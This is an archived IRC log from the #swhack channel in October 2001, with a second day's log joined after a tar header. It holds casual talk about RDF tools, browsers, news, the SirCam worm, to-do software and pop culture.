this gets an 8 on the yeach-o-meter: @prefix : <#g_10_9_2001123034AM> . 19:43:53 <sbp> and it's my fault! Oh well 19:44:44 <AaronSw> OK, you should be able to try the long GET now. 19:46:18 <sbp> my computer's being a bit weird, hang on a sec. 19:46:55 <sbp> oops, I started a really worthless thread on www-amaya 19:47:07 <sbp> well, actually, I didn't start start it, but... 19:48:21 <AaronSw> Odd: http://www.google.com/press/zeitgeist/9-11-search.html 19:48:27 <AaronSw> CNN was the number sept. 11 query? 19:48:36 <AaronSw> On Google? 19:48:44 <AaronSw> why didn't people type cnn.com instead of google.com? 19:49:30 <sbp> I think it's actually a browser limitation 19:50:05 <AaronSw> Ahh, you're using IE right. 19:50:17 <AaronSw> It has a limit of 2,308, as I recall. 19:50:29 <Morbus> hehe 19:50:41 <Morbus> from what i know, 30% of yahoo's requests are browser urls 19:51:01 <sbp> * sbp tries it in Mozilla... 19:51:09 <sbp> browser URLs: heh heh 19:51:17 <AaronSw> Aww, poor Homer: http://www.google.com/press/zeitgeist/superheroes.gif 19:51:18 <Morbus> i had jeff fix his dns for syndic8. 19:51:32 <sbp> I do that sometimes though: it bungs the cursor in the search box rather than the address bar 19:51:35 <AaronSw> thanks, Morbus 19:51:37 <Morbus> forcing me to type www each time. bach! 19:51:53 <AaronSw> Annoyed me too 19:51:57 <sbp> Mozilla did it, but it came up with:- 19:51:57 <sbp> <rdf:RDF xmlns:log="http://www.w3.org/2000/10/swap/log#" 19:51:58 <sbp> xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> 19:51:58 <sbp> </rdf:RDF> 19:52:08 <AaronSw> lol 19:52:22 <wendy> sbp: all s/earl:suite/earl:id? 19:55:54 <sbp> yeah, I'm currently doing it by hand: I'll send the corrected/reified version by email 19:56:03 <AaronSw> Ouch, Polaroid went Chapter 11 19:56:09 <AaronSw> http://dailynews.yahoo.com/h/ap/20011012/bs/polaroid_bankruptcy.html 19:56:17 <wendy> sbp: i can do it. 19:56:19 <wendy> no worries. 19:58:31 <sbp> too late... I took the liberty of reifying it anyway 19:58:46 <wendy> ah. ok. well, updated teh one at w3.org 19:58:52 <sbp> cool 19:59:33 <wendy> still says bad char at 349. 19:59:55 <sbp> * sbp refreshes 20:00:32 <sbp> yeah it's still broken:- 20:00:33 <sbp> [[[ 20:00:34 <sbp> dc:title "XHTMLTM 1.0: The Extensible HyperText Markup Language 20:00:34 <sbp> " . 20:00:34 <sbp> ]]] 20:00:46 <sbp> s/\n// 20:00:48 <Morbus> that sucks for poloroid. 20:01:54 <sbp> ugh: "The company could be sold off in its entirety or essentially stripped for parts under the supervision of a bankruptcy court." 20:02:20 <Morbus> oh yeah, aaron, that iswipe software i pointed you too yesterday - don't try it. it sucks. 20:02:31 <AaronSw> OK. 20:02:35 <Morbus> ack! 20:02:43 <Morbus> some flipping moron just sent me 30 copies of flipping sircam! 20:02:50 <Morbus> i had disabled my filters to try out some ORBS lists. 20:03:01 <Morbus> and now Jozef Walczak is beating me down. 20:03:06 <Morbus> sigh. how the hell do these people know me? 20:03:19 <sbp> 'cause you're such a star, of course 20:03:20 <AaronSw> I blame those sheep 20:03:27 <Morbus> it must be the sheep. 20:03:28 <sbp> yeah! always blame the sheep 20:03:30 <Morbus> damn sheep farmers. 20:03:41 <Morbus> wendy: http://www.disobey.com/detergent/sheep.htm 20:03:52 <sbp> * sbp watches the video again... 20:03:58 <Morbus> sbp, i can set up for you to get fireworks.mov tonight if you want. 20:04:08 <sbp> I've got fireworks.mov! 20:04:16 <Morbus> oh. which one are you missing? 20:04:18 <Morbus> beerbaron? 20:04:37 <sbp> I've got all the ones that you posted! 20:04:42 <sbp> (cheers) 20:05:20 <wendy> poor sheep. 20:05:25 <wendy> lol 20:06:05 <sbp> I think it's incredible how he does it *every* time I play the movie 20:06:20 <sbp> s/he/she\/it 20:06:42 <sbp> you think it'd learn its lesson... 20:06:44 <Morbus> heheheh 20:08:23 <AaronSw> Syndic8.com is really screwing up data. 20:08:34 <AaronSw> wtf is up with http://www.syndic8.com/feedinfo.php?FeedID=2227&Section=headlines&SummaryID=64&Mode=show ? 20:08:39 <sbp> ooh, it works now. gj, Wendy/Aaron 20:08:46 <AaronSw> hj? 20:08:46 <sbp> http://swag.webns.net/n3tordf?uri=http%3A%2F%2Fwww.w3.org%2F2001%2F10%2Fxag.n3&from=n3 20:08:50 <sbp> gj 20:08:52 <AaronSw> err, gj? 20:08:58 <sbp> good job 20:09:06 <AaronSw> ahh, np 20:09:14 <sbp> :-) 20:09:26 <Morbus> olil 20:09:45 <sbp> * sbp plays HomerPants.mov 20:10:26 <wendy> it works..i.e., it doesn't barf. but...where's all the data? 20:10:55 <sbp> er... it's right there 20:11:10 <sbp> oh, try viewing the source. What browser are you using? can it render XML? 20:11:38 <sbp> Aaron: why so much whitespace at the top? 20:11:45 <wendy> ah ha. ran it again. weird. hit "back" and it only gave me the text i.e., "Charles McCathieNevile...etc." ran it again, and now I get the goods. 20:11:50 <AaronSw> the top of what? 20:12:18 <sbp> at the top of the results. stripping the comment crud that CWM gives, perhaps? 20:12:27 <sbp> text: weird 20:12:58 <sbp> but note the log:quote garbage: <earl:asserts rdf:parseType="log:Quote"> 20:13:18 <AaronSw> Hmm, there's only three blank lines... not sure why they're there, tho 20:13:30 <sbp> that's what CWM does to contexts; a kind of substitute for reification (except that in log:Quote you can group statements... aha!) 20:14:17 <sbp> * sbp should go through the PFPS datatype stuff 20:18:17 <Morbus> i saw someone complained about the broken rss on winerlog today 20:18:51 <sbp> Gotta run 20:19:00 <wendy> ciao. thx for your help. 20:19:43 <AaronSw> c'ya 20:21:51 <sbp> sbp has quit 20:28:00 <sbp> sbp has joined #swhack 20:28:33 <sbp> * sbp continues to play "Love And Theft"... such a good album! 20:29:09 <AaronSw> Oooh, NPR "On the Media"... why do they have to put it on at such an awful time? 20:29:57 <sbp> Hmm... http://logicerror.com/dateUri 20:30:23 <AaronSw> I like Dan Connolly's latest message to rdfcore-wg 20:30:55 <AaronSw> Eek, these Anthrax letters sound awful. 20:31:16 <AaronSw> Grr, I thought I stopped following the news. 20:31:53 <Morbus> yeah, i know. 20:31:59 <Morbus> maybe that rosenfeld guy sent me anthrax. 20:34:14 <Morbus> ohno! 20:34:18 <Morbus> livejournal is a pay site now. 20:34:38 <Morbus> http://www.theendoffree.com 20:35:04 <AaronSw> Eek. 20:35:24 <Morbus> that's gonna stop new victims to my ... .. "habit". 20:36:08 <Morbus> well, the source code is free. maybe you and i should start up a free version. 20:36:28 <sbp> and I'll sit back and watch you both 20:36:28 <AaronSw> You can go do that. 20:36:40 <Morbus> well, fine, you guys just let the world charge ya. 20:36:44 <Morbus> did you know cable used to be free? 20:37:23 <sbp> not over here 20:37:23 <AaronSw> Really? 20:37:44 <Morbus> that's what i've read - tv used to be entirely free. 20:38:07 <AaronSw> Yeah, back before cable. 20:38:56 <sbp> I don't think it's ever been free over here. BBC insist on charging license fees rather than advertising 20:42:25 <Morbus> good fun anthrax news on scripting.com 20:44:35 <AaronSw> Ooh, Winnie the Pooh anniversary 20:44:47 <Morbus> and four year anniversary of john denver's death. 20:44:54 <Morbus> not that i care - heard it on the oldfolks radio 20:46:16 <AaronSw> Woohoo! http://www.macslash.com/article.pl?sid=01/10/10/1828238 20:46:23 <AaronSw> Hacking IE 5.1 To Search Google From The Address Bar 20:46:43 <Morbus> hey cool 20:47:20 <Morbus> done anything new or exciting with os x? 20:47:33 <sbp> Hmm... http://www.foxnews.com/story/0,2933,36218,00.html 20:48:09 <Morbus> one thousand and one. 20:48:13 <Morbus> and from sbp no less. sigh. 20:50:16 <sbp> pardon me? 20:50:31 <Morbus> the bert thing. 20:51:17 <AaronSw> We even talked about it last night 20:51:40 <sbp> oh. well sooooooory 20:51:53 <AaronSw> whee, this google address bar rocks 20:52:04 <sbp> aw, I want the google address bar thing! 20:52:53 <Morbus> download the google toolbar then. 20:53:03 <AaronSw> Wow, the Sean Palmer fan site: http://www.geocities.com/nonogyor/ 20:53:51 <sbp> alas, no Sean B. Palmer fan sites that I know of yet 20:54:07 <AaronSw> He changed his name from Tony Manero just so he could be like you! 20:54:13 <sbp> great! 20:54:52 <Morbus> hehehehe: "In three days, SirCam -- the "I send you this file in order to have your advice" worm -- will go into phase two, randomly deleting files from infected users' hard drives. I figger that if you're still infected by now, chances are that all your important files have already been emailed to your addressbook, so you've got a backup, right? Link Discuss " 20:55:06 <sbp> I wonder if it's in the registry (the search thing...) 20:56:46 <sbp> nope. bugger 20:57:01 <Morbus> http://www.v-2.org/articles/fengshui.html 20:59:54 <AaronSw> Ugh, is that an iframe? 21:00:08 <Morbus> i dunno. 21:00:36 <AaronSw> it's some stupid css trick, looks like 21:01:02 <AaronSw> Invader Zim Quote: I hate [it]! I HATE [IT] SO MUCH! 21:01:09 <Morbus> yesss! 21:01:12 <Morbus> i love invader zim. 21:01:23 <AaronSw> That's the only episode I've seen. 21:01:26 <Morbus> although nick isn't releasing any dvd's/videos according to my contact at slave labor 21:01:39 <AaronSw> it was funny 21:01:45 <AaronSw> slave labor? 21:01:59 <Morbus> yeah, jhnonen vasquez is the creator of invader zim. 21:02:06 <AaronSw> ah, cool 21:02:17 <Morbus> he has done johnny the homicidal maniac and squee for slave labor graphics. both comics. 21:03:16 <AaronSw> I will not let my son die because of a freak piggy accident! 21:03:22 <Morbus> hehehehe. 21:03:41 <Morbus> its funny. if you've read squee/jthm, you'll see snippets all over invader zim. 21:03:45 <Morbus> like the question sleep campaign, and so on. 21:08:01 <sbp> aha: http://www.google.com/options/defaults.html 21:08:44 <AaronSw> Hmm, people disagree on question sleep at http://www.eeggs.com/items/28997.html 21:09:36 <Morbus> i dunno. i'm sticking to my guns. i'll investigate tonight. remind me :) 21:09:44 <Morbus> i have most of his stuff. 21:11:17 <Morbus> heheh http://www.livejournal.com/users/jthm 21:12:09 <SeanP> SeanP has joined #swhack 21:12:11 <sbp> sbp has quit 21:12:11 <SeanP> SeanP has quit 21:12:21 <sbp> sbp has joined #swhack 21:13:03 <AaronSw> heheh 21:13:15 <sbp> crap, all that and it didn't work 21:13:52 <AaronSw> what didn't? 21:14:04 <sbp> the Google search bar thingy 21:14:12 <AaronSw> hmm 21:15:06 <Morbus> http://mac.scripting.com/ 21:15:21 <AaronSw> yeah, that's where i found the hack for ie 21:15:31 <Morbus> ah. i just saw it on macslash.com 21:17:36 <Morbus> anyone played with movabletype yet? 21:20:49 <Morbus> hey aaron, you know those colored menus we've been seeing in osx? 21:20:57 <AaronSw> yep 21:20:58 <Morbus> John Schilling (of StimpSoft) reminds (see previous posting) us: "This is an issue with applications made with REALbasic 3.5 or lower. Any application made with REALbasic below version 3.5.1 can display this problem." 21:21:10 <Morbus> stimpsoft is the guy who makes that desktop thing we played with last night 21:21:18 <AaronSw> Ah... blame realbasic -- that always works ;) 21:21:22 <Morbus> hehe 21:21:35 <Morbus> apparently, recompiling with 351 makes em go awya 21:23:37 <AaronSw> Hmm, you played with movabletype? 21:24:11 <Morbus> not yet. it's not OSI, so i'm kinda standing back and seeing how things play out. 21:24:24 <Morbus> i don't like contributing perl code to non-OS projects. it just seems so wrong. 21:24:55 <AaronSw> heh 21:25:27 <Morbus> SEND ME THE COFFEE! http://www.ananova.com/news/story/sm_420650.html 21:26:35 <sbp> hey, great 21:26:49 <AaronSw> Ananova has the weirdest stories. 21:26:53 <Morbus> yeah! now i can pursue my agenda over a cup of breast enlarging coffee. 21:27:04 <sbp> lol 21:32:58 <sbp> Marge: Who's using the powertools? 21:33:06 <sbp> Homer: I dunno. Some guy, I guess 21:33:56 <sbp> Gotta run 21:34:29 <AaronSw> c'ya 21:36:56 <sbp> sbp has quit 21:38:02 <wendy> ciao. gotta walk the dogs. 21:38:08 <Morbus> scratch them for me 21:38:16 <wendy> :) 21:38:19 <wendy> wendy has quit 21:39:12 <Morbus> ooh. moz 95 is out 21:39:24 <sbp> sbp has joined #swhack 21:41:17 <Morbus> http://www.electrotank.com/games/playGames.cfm?gameID=34 21:41:47 <sbp> http://www.audiogalaxy.com/articles/index.php?a=153&&& 21:42:15 <Morbus> uh. you a country fan? 21:44:12 <AaronSw> the AI for that air hockey really sucks 21:44:18 <sbp> sbp has quit 21:45:18 <Morbus> hehe. 21:45:21 <Morbus> i know, it just drifts around. 21:45:31 <Morbus> can't wait until they add two realtime players though 21:49:07 <Morbus> Morbus has left #swhack 21:57:09 <AaronSw> Hmm, are there more dead people than living ones? In the history of humanity, I mean. 21:57:09 <AaronSw> I'd suspect so, but with such astounding growth rates you never know. 21:57:09 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by niven.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 21:57:17 <logster> logster has joined #swhack 21:57:17 <niven.openprojects.net> topic is: Please give a warm welcome to today's special guest: Wendy Chisholm! 21:57:17 <niven.openprojects.net> Users on #swhack: logster AaronSw deltab 22:01:18 <sbp> sbp has joined #swhack 22:04:19 <sbp> sbp has quit 22:06:57 <AaronSw> logster, die die die 22:06:57 <AaronSw> I'm logging. I don't understand 'die die die', AaronSw. Try /msg logster help 22:07:10 <AaronSw> * AaronSw upgrades logster 22:07:56 <logster> logster has joined #swhack 22:07:56 <niven.openprojects.net> topic is: Please give a warm welcome to today's special guest: Wendy Chisholm! 22:07:56 <niven.openprojects.net> Users on #swhack: logster AaronSw deltab 22:08:07 <sbp> sbp has joined #swhack 22:08:12 <AaronSw> Note to self: remember to chmod +x file sbefore executing them. 22:08:32 <AaronSw> hmm, let me turn off auto-opping 22:08:53 <AaronSw> OK, try now. 22:10:02 <AaronSw> sbp? 22:10:48 <sbp> sbp has quit 22:13:32 <sbp> sbp has joined #swhack 22:13:48 <sbp> +v? 22:13:54 <AaronSw> "voiced" 22:14:00 <AaronSw> Well, it's better than being opped 22:14:05 <sbp> ugh, and I can't even devoice myself! 22:14:07 <AaronSw> On my machine you're a beautiful neon green ;) 22:14:12 <sbp> put back autoops, could ya? 22:14:25 <AaronSw> but you keep disopping! 22:14:34 <sbp> yeah, that's fine 22:14:42 <AaronSw> it's annoyinh 22:14:45 <AaronSw> err annoying 22:14:48 <sbp> I don't mind: if I wanted to, I could do it automatically 22:14:56 <sbp> so is being voices 22:15:02 <sbp> err voiced 22:15:07 <AaronSw> I'll switch it to nothing. 22:15:22 <AaronSw> Try now. 22:15:30 <sbp> sbp has quit 22:15:47 <sbp> sbp has joined #swhack 22:15:54 <AaronSw> can you still op yourself? 22:16:03 <sbp> Aw... 22:16:07 <sbp> nope 22:16:18 <AaronSw> Hmm, that sucks 22:16:43 <AaronSw> Try now. 22:16:51 <AaronSw> Heh, http://www.magic-mushrooms.de/mm/os_hifi.mp3 is funny 22:16:58 <AaronSw> "Open Source" ist der offizielle Song des LinuxTag 2001 und auf der OpenMusic-CD des LinuxTag e.V. erhältlich. Nähere Infos unter www.linuxtag.org. 22:17:19 <sbp> heh 22:18:23 <AaronSw> Hmm, I wonder why it never auto-ops me. 22:18:44 <sbp> I would guess that you set it not to? 22:19:02 <AaronSw> Nope... I don't think you can. 22:20:37 <AaronSw> * AaronSw creates http://blogspace.com/swhack/ 22:21:23 <sbp> cool! 22:21:28 <SeanP> SeanP has joined #swhack 22:21:35 <SeanP> the link works... 22:21:43 <sbp> yes, it does 22:21:47 <AaronSw> hey -- they're two of you! 22:21:49 <sbp> oh that's funny... 22:21:54 <SeanP> what's funny? 22:21:59 <AaronSw> LOL! 22:22:05 <sbp> the ordering in the windows is different. One is delayed 22:22:16 <SeanP> oh, I see... yes, that it weird 22:22:19 <AaronSw> the ordering? 22:22:24 <sbp> s/it/is 22:22:32 <SeanP> yeah, that's what I meant 22:22:39 <sbp> yes: the ordering of the statements 22:22:51 <SeanP> <sbp> yes, it does 22:22:53 <SeanP> <AaronSw> hey -- they're two of you! 22:22:53 <SeanP> <sbp> oh that's funny... 22:22:53 <SeanP> <SeanP> what's funny? 22:22:59 <sbp> <sbp> yes, it does 22:23:01 <sbp> <sbp> oh that's funny... 22:23:01 <sbp> <AaronSw> hey -- they're two of you! 22:23:01 <sbp> <SeanP> what's funny? 22:23:13 <AaronSw> Heh, that's IRC for you. 22:23:20 <sbp> actually that's a crap example... but it's quite different: take my word for it 22:23:29 <SeanP> yeah Sean, you dumbwad 22:23:38 <sbp> hey, you're the dumbwad! 22:23:50 <SeanP> yeah: that's what I just said 22:23:55 <sbp> he he he 22:24:33 <sbp> this reminds me of the Fraiser where he does a kind of theraputic excercise, and has himself on the phone 22:24:46 <SeanP> that's funny, it reminds me of that too 22:24:55 <AaronSw> * AaronSw giggles hysterically 22:25:03 <sbp> well, whad'dya know 22:25:19 <sbp> so SeanP, like The Simpsons? 22:25:24 <SeanP> I suppose so 22:25:33 <sbp> good 22:26:23 <sbp> sbp is now known as sbp_ 22:26:25 <SeanP> SeanP is now known as sbp 22:26:27 <sbp_> sbp_ is now known as SeanP 22:26:33 <SeanP> ah, now who are we, eh? 22:26:33 <AaronSw> Oh dear. 22:26:43 <sbp> he he he 22:27:05 <sbp> sbp has quit 22:27:17 <SeanP> ooh, cool quit message! 22:27:35 <SeanP> *** sbp has quit IRC (Homer: 20 dollars? I wanted a peanut!) 22:27:39 <SeanP> SeanP has quit 22:27:49 <sbp_> sbp_ has joined #swhack 22:28:05 <sbp_> sbp_ is now known as sbp 22:28:07 <deltab> AaronSw: I read somewhere that there's about thirty dead to each living 22:28:22 <sbp> there: some degree of normality 22:28:29 <AaronSw> Ah, thanks... so at our current growth rate it'd take... 22:28:35 <AaronSw> hmm 22:28:40 <AaronSw> beats me 22:28:47 <deltab> heh 22:30:26 <sbp> sbp has changed the topic to: Please give a warm welcome to today's special guest: logster! 22:31:53 <sbp> * sbp plays "Do You Know The Way To San Jose?" 22:32:14 <AaronSw> hehe @ topic 22:33:48 <Morbus> Morbus has joined #swhack 22:34:26 <sbp> Morby!!! 22:36:04 <sbp> * sbp does the Morby dance 22:36:25 <sbp> * sbp decides to refrain from doing the Morby dance 22:36:48 <sbp> sbp has changed the topic to: Do the Morby! Do do do do do do do do do, do do do do do... 22:37:30 <AaronSw> Heheh. 22:42:46 <Morbus> you know, i leave you guys for two minutes to make some flipping chicken things, and you do dances. 22:42:50 <Morbus> i like being a tribal god. 22:42:59 <sbp> lol 22:43:11 <sbp> I won't ask what chicken things... 22:43:29 <Morbus> actually, they're spicy shrimp things. frozen food. 22:43:48 <sbp> ah of course: shrimp, chicken, same thing 22:43:55 <deltab> "Flipping Chicken Things"? don't you get those from KFC? 22:44:09 <Morbus> hehe 22:44:43 <Morbus> my gf is a state employee so we get 10% off at KFC 22:45:37 <Morbus> you two should join a group and pish files to ya 22:45:44 <Morbus> you having problems with ag anymore? 22:45:54 <AaronSw> pish files to ya? 22:45:59 <Morbus> push files to each other 22:45:59 <sbp> ag? 22:46:15 <AaronSw> nope, AG is doing pretty well... at least until they get sued (which according to rumors should be in two weeks) 22:46:28 <sbp> why would we want to do that? :-) 22:46:33 <sbp> AG sued: ugh 22:47:23 <Morbus> ok. remind me in 13 minutes my flipping chicken/shrimp thingies are done 22:50:44 <Morbus> aaron, we need to write a program that monitors the windows/favorites folder, or any other bookmark, and automatically blogs bookmarks you put nito your root to a site 22:50:52 <Morbus> i add bookmarks like the devil, but never have time to blog a comment on them 22:51:13 <AaronSw> Yeah, that should be a syncasaurus feature 22:51:27 <Morbus> i'm thinking so, yes 22:52:11 <AaronSw> Seen on another channel: "I eat food two, three times every day, and I still get hungry, I just can't kick the habit" 22:52:14 <Morbus> you knwo what 've always wanted. 22:52:20 <Morbus> i want a smart TO-DO program. 22:52:21 <AaronSw> No, I don't actually. 22:52:29 <Morbus> something where i could throw in all the stuff to do, and sections to go with them. 22:52:38 <sbp> it's called the WWW 22:52:38 <Morbus> and possible durations on how long they'll take. 22:52:41 <AaronSw> That'd be nice... I've been using omnioutliner 22:52:50 <AaronSw> I know there're lots of webbased ones 22:53:02 <Morbus> and then, when it sees that i haven't worked on asection for awhile, it would say 'hey! devilshat is old! do this. it'll only take you 20 minutes" 22:53:04 <AaronSw> just wait until AppleScript Studio comes out! I can code all these apps! 22:53:11 <Morbus> no shit! you and me both. 22:53:15 <AaronSw> yeah, that'd be awesome 22:53:20 <Morbus> omnioutliner any good? 22:53:32 <AaronSw> it's ok, but not good enough for me to pay up 22:53:35 <AaronSw> i mean, it's a good outliner 22:53:41 <Morbus> i hear ya. 22:53:43 <AaronSw> but it just doesn't do everything i need in a todo app 22:54:41 <Morbus> no. i rarely download stuff that's not freeware anyways. 22:54:46 <Morbus> bwahaha. 22:54:48 <Morbus> ah twell 22:58:54 <sbp> 22:59:02 <sbp> ah, space 22:59:26 <AaronSw> hmm, all sorts of cool stuff to write if only applescript studio was out 22:59:41 <Morbus> don't tell me there's not a bit of difference between a null and a space, because that's exactly how much there is 22:59:49 <Morbus> i know. wish they would hurry up. 22:59:57 <Morbus> not that i know applescript, but i'll learn anything if the power feels good 23:00:08 <AaronSw> Oh, I was just going to use Python with it. ;-) 23:00:35 <Morbus> oh? it ho... .. well, then, that's hella cool. 23:00:55 <Morbus> i wonder if it will make classic appls ;) 23:01:01 <AaronSw> Is there a Perl OSA? 23:01:14 <AaronSw> Nah, we'll just make you learn Python ;) 23:01:19 <Morbus> ... i dunna what OSA entails 23:02:41 <Morbus> so, aaron, teach me how to outline here. 23:02:47 <Morbus> i don't grasp the main concept. 23:02:53 <Morbus> what's the "right" way to do this sort of thing 23:03:02 <AaronSw> Umm... type return to go down, tab to go in. 23:03:20 <AaronSw> shift-tab to go out 23:03:26 <AaronSw> you create nesting lists 23:04:51 <sbp> er, Morby, your thing is burnt 23:05:02 <Morbus> oh shit! 23:05:13 <Morbus> oh fuck 23:05:19 <Morbus> um. someone call the firedept. i gotta run downstairs 23:05:36 <sbp> aren't you glad you've got me here to point out these things? :-) 23:05:44 <Morbus> heh. justkidding. i took them out a bit ago. 23:05:50 <sbp> he he he 23:05:53 <Morbus> form: 3501A-C00-002106 23:06:07 <Morbus> page pro: 2801a-c00-091108 Registration 06244393 23:06:11 <AaronSw> wrong window 23:06:53 <Morbus> what, you don't like my internal ID scheme for webpage identitifaction? 23:07:10 <AaronSw> it's just too long 23:07:25 <Morbus> i started out with md5. 23:07:36 <sbp> I was just about to jokingly suggest that :-) 23:07:45 <Morbus> heh 23:08:06 <sbp> shame there isn't a hash for hashes 23:08:14 <Morbus> in perl there is :) 23:08:23 <Morbus> er, a hash of hashes, rather 23:08:55 <AaronSw> heh 23:09:28 <AaronSw> that todo app would rock, morbus... i'm always feeling lame but don't know what i should work on 23:09:51 <Morbus> exactly. 23:09:52 <AaronSw> OK, well I better sign off now -- you guys think up good names for me while i'm gone. 23:09:56 <Morbus> i mean, i have all my todo in an excel file. 23:10:05 <Morbus> but it just stares at me, and indeciison win 23:10:11 <sbp> goobomorekozo 23:10:14 <Morbus> i want some uncaring ai to say "slave, morbus! slave!" 23:10:22 <sbp> supermesh 23:10:23 <AaronSw> heheh... i was in Stickies... now omnioutliner 23:10:26 <sbp> meshozoid 23:10:28 <Morbus> I've alwats like Dave. 23:10:29 <sbp> meshzilla 23:10:33 <Morbus> change your name from AaronSw to Dave 23:10:35 <sbp> infozilla 23:10:37 <sbp> infozoid 23:10:39 <sbp> infomesh 23:10:42 <sbp> oh, hang on... 23:10:45 <AaronSw> not info -- data 23:10:49 <Morbus> i love stickes :) 23:10:53 <Morbus> datafudge 23:10:57 <Morbus> datariffic 23:10:59 <sbp> datashaft 23:11:02 <Morbus> data or datan't he' 23:11:05 <sbp> dataoid 23:11:12 <Morbus> databation. 23:11:19 <sbp> dataculation 23:11:25 <Morbus> datox 23:12:27 <AaronSw> c'yas 23:12:31 <sbp> c'ya 23:12:31 <Morbus> aaron, you keep omnithingy open all the time? 23:12:34 <Morbus> c' 23:12:35 <AaronSw> yep 23:12:51 <Morbus> ok good. 23:12:56 <Morbus> least its stable :) 23:15:56 <Morbus> Morbus has quit 23:18:40 <Morbus> Morbus has joined #swhack 23:18:49 <sbp> wb 23:19:24 <Morbus> you really mean that? 23:19:31 <sbp> nah 23:19:40 <sbp> just saying it to make conversation 23:19:44 <Morbus> ok. phew. that'd be messed up 23:19:55 <sbp> how so? 23:20:35 <Morbus> well, i mean, you should be welcoming my face, not my shoulder blades 23:21:02 <sbp> wf 23:21:12 <sbp> doesn't work as well... :-) 23:21:22 <sbp> WFM, a new acronym! 23:21:41 <Morbus> heheh 23:21:50 <Morbus> you've got the opposing steeples on each end 23:21:52 <sbp> sbp has changed the topic to: #swhack the word and acronym machine (TWAAM: giblify) 23:22:02 <Morbus> if there was a backwards F, we'd be set 23:22:06 <sbp> sbp has changed the topic to: #swhack: the word and acronym machine (TWAAM - giblify) 23:22:21 <sbp> backwards F... yes... 23:22:32 <sbp> will a Y do? 23:22:37 <sbp> or a 3 23:22:45 <sbp> but a 3 is a backwards E, you see 23:22:52 <Morbus> i was thinking 3, but all i can think of is that horrific heart thing 23:22:54 <Morbus> <3 23:23:10 <sbp> we could do something like W3EM 23:23:41 <Morbus> that seems ok. we need an old terminal font for that truly to work well though 23:23:47 <sbp> yes 23:24:11 <sbp> 3WME 23:24:23 <sbp> Free Willy, my elephant! 23:24:29 <Morbus> ooh, thats deliciously chaotic n my machine 23:24:40 <Morbus> oh man, i have a funny story about free willy 23:24:47 <Morbus> i've always made fun of free willy, same with my gf 23:24:56 <Morbus> so we're sitting arund on a weekend, bored, flipping channels. 23:25:02 <sbp> you've made fun of your gf? 23:25:10 <Morbus> and we see this movie. and it didn't look that bad. we watch, and we're like hey, this isn't that bad. 23:25:30 <Morbus> welp, it was flipping free willy 3. we almost jumped out the window in an attempt to resolve our flagrant violation of the pathetic police 23:26:11 <sbp> wow, that is quite shocking. How long did you watch it for? 23:26:19 <Morbus> about 15 minutes. 23:26:40 <Morbus> when i think back, that's a long time to be under the evil spell of whale adulation. 23:26:43 <sbp> * sbp plays "Old Love" 23:29:05 <sbp> yes, I agree 23:29:29 <sbp> any other films/music/TV that you particularly hate? I'm always ready to moan about things 23:29:53 <Morbus> hmm... well, spice world. :) 23:30:02 <sbp> well, of course... 23:30:15 <Morbus> and dude where's my car. 23:30:35 <sbp> yeah! I only saw the trailers of that, but man... 23:30:51 <Morbus> there's so much i dislike :) 23:31:15 <Morbus> aaronSw: when you come back, this looks pretty good: http://www.mindlube.com/screenshots/ 23:31:21 <Morbus> called "slacker" 23:31:29 <sbp> how about: Temptation Island, the Dixie Chicks, and Yanni 23:31:37 <Morbus> well, temptation island was entertaining 23:32:09 <Morbus> the dixie chicks sing songs about killing boyfriends or something, and people cheer. 23:32:17 <Morbus> like happy country racist bigot sort of people. 23:32:19 <sbp> considering that it's one of only a few mainstream shows to have been *sooooooo* crap that they had to take the piss out of it on The Simpsons... 23:32:50 <sbp> yeah, they just suck [full stop] 23:33:08 <sbp> Britney Spears! Christina Aguilera... aaaaaargh! 23:33:30 <sbp> Pink Floyd 23:33:40 <Morbus> nsync, 23:33:45 <sbp> yeah 23:34:30 <Morbus> i have to defecate. i shall return. 23:35:26 <sbp> lol 23:39:20 <sbp> that'd be good as your quit message 23:39:57 <Morbus> heh 23:41:50 <sbp> <nick_kew> 1580 invalid pages at www.w3.org 23:41:52 <sbp> <sbp> but only 5000-ish pages? I think it's missing a few 23:41:52 <sbp> <sbp> still, that's a 1/5 ratio of invalid pages. Not suprising 23:42:13 <Morbus> heh 23:43:46 <sbp> (taking into account the "ish" and the historical archives) 23:44:59 <Morbus> wow. 419 servers on carracho. its really growing 23:46:06 <sbp> that's the new P2P Napster-esque thing, yes? 23:46:56 <Morbus> not really. its been around for a year and a half or so. 23:47:10 <sbp> wow, total amount of files: Total Files: 694 23:47:16 <Morbus> it just was never popular. 23:47:17 <sbp> - http://weasel.carracho.com/ 23:47:17 <Morbus> what's that? 23:47:25 <sbp> yeah, seems so... 23:47:26 <Morbus> oooh. well, that's new, yeah. 23:47:28 <sbp> dunno 23:47:33 <Morbus> but i'm talking about the client/server stuff 23:47:35 <Morbus> not the weasel 23:48:00 <sbp> ah ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-13.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000043040�07362152571�012004� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:01:55 <Morbus> Morbus has quit 00:02:13 <SeanP> SeanP has joined #swhack 00:02:46 <sbp> sbp has quit 00:02:58 <SeanP> SeanP is now known as sbp 00:03:29 <Morbus> Morbus has joined #swhack 00:03:51 <sbp> wf 00:04:21 <Morbus> whooo hoo! 00:06:20 <sbp> stop being so gibliferous! 00:06:25 <sbp> terrible behaviour 00:06:44 <Morbus> stop spelling words with u in them. 00:06:47 <Morbus> terrible canuck 00:07:32 <sbp> fine, I won't use^H^H^Htype that letter again 00:07:51 <Morbus> good, good. 00:07:53 <sbp> for a little while, anyway 00:08:11 <Morbus> why for only a little while? 00:08:29 <sbp> 'till I forget 00:08:53 <Morbus> till sean forgets? that's innane 00:09:05 <sbp> or somehow slip-down 00:09:25 <Morbus> why not slip forward? probably admirable as well 00:10:02 <sbp> perhaps it'd be better to prise that specific key from my keyboard? 00:10:26 <sbp> or easier, at least 00:10:34 <Morbus> it tickles my giggly bone that we can have loads of geekish joy over the implentation (or lack there of) of a single character 00:10:39 <sbp> slip-forward is good too 00:11:04 <sbp> yes, it engiggles me too 00:11:57 <Morbus> still trying to find an organizing / to do application. or at least something like omni-inliner with no registration 00:12:04 <sbp> for this is a very werid thing that we are doing, I hope that kind sir is aware of that fact 00:12:46 <sbp> well, I'll bet sir is looking for something on the 